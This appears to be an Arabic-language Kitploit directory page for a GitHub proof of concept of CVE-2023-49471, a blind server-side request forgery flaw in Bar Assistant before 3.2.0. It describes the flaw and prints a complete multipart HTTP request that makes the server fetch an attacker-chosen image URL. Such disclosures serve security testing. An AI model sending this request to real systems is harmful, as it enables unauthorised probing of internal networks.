Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-49471 — إثبات مفهوم لاستغلال ثغرة تزوير الطلبات من جانب الخادم الأعمى (Blind SSRF) في Bar Assistant < 3.2.0، مما يتيح للمهاجمين المصادق عليهم استكشاف الشبكات الداخلية عبر رفع روابط صور غير مُتحقق منها. | Kitploit
أدوات/GitHubGitHub/zunak/cve-2023-49471
الاستطلاعتحليل الثغرات الأمنيةالاستغلالجمع المعلوماتأمن الويباختبار الاختراق
GitHubzunak/cve-2023-49471

CVE-2023-49471

إثبات مفهوم لاستغلال ثغرة تزوير الطلبات من جانب الخادم الأعمى (Blind SSRF) في Bar Assistant < 3.2.0، مما يتيح للمهاجمين المصادق عليهم استكشاف الشبكات الداخلية عبر رفع روابط صور غير مُتحقق منها.

عرض المستودع
2منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-49471

نوع الثغرة

SSRF أعمى

المنتج والإصدار المتأثر

Bar assistant < 3.2.0

ناقل الهجوم

يمكن للمستخدمين المصادق عليهم رفع صورة عبر رابط URL إلى التطبيق.

الوصف

لا يتحقق التطبيق من معامل قبل إجراء طلب عبر Image::make()، مما قد يسمح للمهاجم بتنفيذ هجوم تزوير الطلبات من جانب الخادم (Server-side Request Forgery).

إثبات المفهوم

root@kitploit:~
POST /bar/api/images HTTP/1.1

Host: localhost:3000

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: multipart/form-data; boundary=---------------------------8290129562507108753887567115

Content-Length: 459

Referer: http://localhost:3000/cocktails/form

Origin: http://localhost:3000

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

authorization: Bearer 1|A3dV5SfOEqxNOY8UQmz2wDqA6ssdtBGHoVyjCFTR186abc29

Connection: close



-----------------------------8290129562507108753887567115

Content-Disposition: form-data; name="images[0][image_url]"



http://<target>/<path>

-----------------------------8290129562507108753887567115

Content-Disposition: form-data; name="images[0][copyright]"





-----------------------------8290129562507108753887567115

Content-Disposition: form-data; name="images[0][sort]"



1

-----------------------------8290129562507108753887567115--
تنزيل الأداة